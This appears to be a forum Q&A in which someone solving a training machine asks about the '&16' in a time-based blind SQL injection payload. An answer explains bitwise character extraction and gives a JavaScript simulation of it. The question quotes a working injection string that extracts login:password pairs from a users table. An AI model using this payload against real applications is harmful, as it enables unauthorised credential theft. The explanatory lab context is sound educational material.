I have this MySQL query, and the only thing I can't understand is this part &16
if((select ascii(substring((select concat(login,':',password) from users limit 0,1),2,1))&16),sleep(2),0)
I'm trying to solve a machine in which I have a blind SQL injection:
This is the whole payload to find the login and password, character by character:
hacker' or if((select ascii(substring((select concat(login,':',password) from users limit 0,1),2,1))&16),sleep(2),0) and '1'='1
The code to achieve the 16 value is doing by {2**bit} And the bit value are a range for 0 to 7
It looks like the person is trying to check if the second letter of the username + password belongs to one of these ascii character ranges:
16 - 31
48 - 63
80 - 95
112 - 127
144 - 159
176 - 191
208 - 223
240 - 255
I am sure you will find similar attempts for each letter of the username + password, for each value between 1, 2, 4, ... 128, and for each row in users table.
Now, here is what he is actually trying to do:
You need 256 attempts to guess a letter using brute force i.e. you check the ascii code 0x00 - 0xFF. But if bitwise AND
operation is available you can check one bit at a time and guess the letter in exactly 8 attempts. Here is a JavaScript implementation of what he's trying to do:
// assume this is the character from substring(..., 2, 1)
let substring = String.fromCharCode(Math.random() * 256);
// ...and this holds the ascii value of the character he's guessing
let cracked = 0;
// i represents the values used in the "&" operation
for (let i = 1; i <= 128; i <<= 1) {
console.log(`i = ${i.toString().padStart(3, " ")} (0b${i.toString(2).padStart(8, "0")})`);
if (substring.charCodeAt(0) & i) {
// when "&" operation results in a truthy value he spots a 2 second delay
// ...and updates the guessed value
cracked |= i;
}
}
console.log(`that substring: ${substring}`);
console.log(`cracked string: ${String.fromCharCode(cracked)} (${cracked})`);